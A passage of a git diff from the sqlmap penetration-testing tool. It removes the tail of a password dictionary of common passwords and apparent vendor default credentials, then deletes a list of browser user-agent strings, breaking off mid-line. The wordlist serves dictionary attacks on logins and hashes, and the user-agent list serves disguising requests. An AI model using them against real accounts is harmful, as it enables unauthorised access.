-shanti -shaolin -shark -sharon -shasta -shawn -shayne -shazam -sheba -sheena -sheila -shelby -shelley -shelly -shelter -shelves -sherry -ship -shirley -shit -shithead -shoes -shogun -shorty -shotgun -Sidekick -sidney -sierra -Sierra -sigmachi -signal -signature -si_informtn_schema -silver -simba -simba1 -simon -simple -simsim -sinatra -singer -sirius -siteminder -skate -skeeter -Skeeter -skibum -skidoo -skiing -skip -skipper -skipper1 -skippy -skull -skunk -skydive -skyler -skywalker -slacker -slayer -sleepy -slick -slidepw -slider -slip -smashing -smegma -smile -smile1 -smiles -smiley -smiths -smitty -smoke -smokey -Smokey -smurfy -snake -snakes -snapper -snapple -snickers -sniper -snoop -snoopdog -snoopy -Snoopy -snow -snowball -snowflake -snowman -snowski -snuffy -sober1 -soccer -soccer1 -softball -soleil -solomon -sonic -sonics -sonny -sony -sophia -sophie -sound -space -spain -spanky -sparks -sparky -Sparky -sparrow -spartan -spazz -special -speedo -speedy -Speedy -spencer -sphynx -spider -spierson -spike -spike1 -spitfire -spock -sponge -spooky -spoon -sports -spot -spring -sprite -sprocket -spunky -spurs -squash -ssp -sss -ssssss -stacey -stan -stanley -star -star69 -starbuck -stargate -starlight -stars -start -starter -startrek -starwars -station -stealth -steel -steele -steelers -stella -steph -steph1 -stephani -stephanie -stephen -stephi -Sterling -steve -steve1 -steven -Steven -steven1 -stevens -stewart -stimpy -sting -sting1 -stingray -stinky -stivers -stocks -stone -storage -storm -stormy -stranger -strat -strato -strat_passwd -strawberry -stretch -strong -stuart -stud -student -student2 -studio -stumpy -stupid -success -sucker -suckme -sue -sugar -sultan -summer -Summer -summit -sumuinen -sun -sunbird -sundance -sunday -sunfire -sunflower -sunny -sunny1 -sunrise -sunset -sunshine -Sunshine -super -superfly -superman -Superman -supersecret -superstar -support -supra -surf -surfer -surfing -susan -susan1 -susanna -sutton -suzanne -suzuki -suzy -Sverige -swanson -sweden -sweetie -sweetpea -sweety -swim -swimmer -swimming -switzer -Swoosh -swordfish -swpro -swuser -sydney -sylvia -sylvie -symbol -sympa -sys -sysadm -sysadmin -sysman -syspass -sys_stnt -system -system5 -systempass -tab -tabatha -tacobell -taffy -tahiti -taiwan -talon -tamara -tammy -tamtam -tango -tanner -tanya -tapani -tara -targas -target -tarheel -tarzan -tasha -tata -tattoo -taurus -Taurus -taylor -Taylor -tazdevil -tbird -t-bone -tdos_icsap -teacher -tech -techno -tectec -teddy -teddy1 -teddybear -teflon -telecom -temp -temporal -tennis -Tennis -tequila -teresa -terminal -terry -terry1 -test -test1 -test123 -test2 -test3 -tester -testi -testing -testpass -testpilot -testtest -test_user -texas -thankyou -the -theatre -theboss -theend -thejudge -theking -thelorax -theresa -Theresa -thinsamplepw -thisisit -thomas -Thomas -thompson -thorne -thrasher -thumper -thunder -Thunder -thunderbird -thursday -thx1138 -tibco -tiffany -tiger -tiger2 -tigers -tigger -Tigger -tightend -tigre -tika -tim -timber -time -timothy -tina -tinker -tinkerbell -tintin -tip37 -tnt -toby -today -tokyo -tom -tomcat -tommy -tony -tool -tootsie -topcat -topgun -topher -tornado -toronto -toshiba -total -toto1 -tototo -toucan -toyota -trace -tracy -training -transfer -transit -transport -trapper -trash -travel -travis -tre -treasure -trebor -tree -trees -trek -trevor -tricia -tricky -trident -trish -tristan -triton -trixie -trojan -trombone -trophy -trouble -trout -truck -trucker -truman -trumpet -trustno1 -tsdev -tsuser -tucker -tucson -tuesday -Tuesday -tula -turbine -turbo -turbo2 -turtle -tweety -twins -tyler -tyler1 -ultimate -um_admin -um_client -undead -unicorn -unique -united -unity -unix -unknown -upsilon -ursula -user -user0 -user1 -user2 -user3 -user4 -user5 -user6 -user7 -user8 -user9 -utility -utlestat -utopia -vacation -vader -val -valentin -valentine -valerie -valhalla -valley -vampire -vanessa -vanilla -vea -vedder -veh -velo -velvet -venice -venus -vermont -Vernon -veronica -vertex_login -vette -vicki -vicky -victor -victor1 -victoria -Victoria -victory -video -videouser -vif_dev_pwd -viking -vikram -vincent -Vincent -vincent1 -violet -violin -viper -viper1 -virago -virgil -virginia -viruser -visa -vision -visual -volcano -volley -volvo -voodoo -vortex -voyager -vrr1 -vrr2 -waiting -walden -waldo -walker -walleye -wally -walter -wanker -warcraft -warlock -warner -warren -warrior -warriors -water -water1 -Waterloo -watson -wayne -wayne1 -weasel -webcal01 -webdb -webmaster -webread -webster -Webster -wedge -weezer -welcome -wendy -wendy1 -wesley -west -western -wfadmin -wh -whale1 -whatever -wheels -whisky -whit -white -whitney -whocares -whoville -wibble -wilbur -wildcat -will -william -william1 -williams -willie -willow -Willow -willy -wilma -wilson -win95 -wind -window -Windows -windsurf -winner -winnie -Winnie -winniethepooh -winona -winston -winter -wip -wisdom -wizard -wkadmin -wkproxy -wksys -wk_test -wkuser -wms -wmsys -wob -wolf -wolf1 -wolfgang -wolverine -Wolverine -wolves -wombat -wombat1 -wonder -wood -Woodrow -woody -woofwoof -word -world -World -wps -wrangler -wright -wsh -wsm -www -wwwuser -xademo -xanadu -xanth -xavier -xcountry -xdp -x-files -xfiles -xla -x-men -xnc -xni -xnm -xnp -xns -xprt -xtr -xxx -xxx123 -xxxx -xxxxxx -xxxxxxxx -xyz -xyz123 -y -yamaha -yankee -yankees -yellow -yes -yoda -yogibear -yolanda -yomama -young -your_pass -yukon -yvette -yvonne -zachary -zack -zapata -zaphod -zebra -zebras -zenith -zephyr -zeppelin -zepplin -zeus -zhongguo -ziggy -zigzag -zoltan -zombie -zoomer -zorro -zwerg -zxc -zxc123 -zxcvb -Zxcvb -zxcvbn -zxcvbnm -Zxcvbnm -zzz diff --git a/txt/user-agents.txt b/txt/user-agents.txt deleted file mode 100644 index c8dea4c1c6e..00000000000 --- a/txt/user-agents.txt +++ /dev/null @@ -1,2078 +0,0 @@ -# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission - -Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1) -Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) -Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) -Mozilla/4.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 -Mozilla/4.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/4.0 (compatible; MSIE 6.0; Linux i686 ; en) Opera 9.70 -Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.24 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.24 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.26 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-la) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.26 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; tr) Opera 10.10 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 10.10 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.22 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60 -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) -Mozilla/4.0 (compatible; MSIE 8.0; Linux i686; en) Opera 10.51 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; ko) Opera 10.53 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; yie8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 4.0) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7; InfoPath.3) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; en) Opera 10.62 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) -Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; de) Opera 10.62 -Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0) -Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0) -Mozilla/4.61 (Macintosh; I; PPC) -Mozilla/4.61 [en] (OS/2; U) -Mozilla/4.7 (compatible; OffByOne; Windows 2000) -Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1) -Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) -Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC) -Mozilla/4.8 [en] (Windows NT 5.0; U) -Mozilla/5.0 (Linux i686 ; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.70 -Mozilla/5.0 (Linux i686; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 -Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) -Mozilla/5.0 (Macintosh; I; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.0 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009122115 Firefox/3.0.17 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090204 Firefox/3.1b3pre -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.0.13) Gecko/2009073021 Firefox/3.0.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Chrome/ Safari/530.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.192 Safari/531.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.1 Safari/530.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/4.0.1 Safari/530.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.422.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.3 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; es-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fr-fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nl-nl) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-tw) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.4 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.11 Safari/532.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) 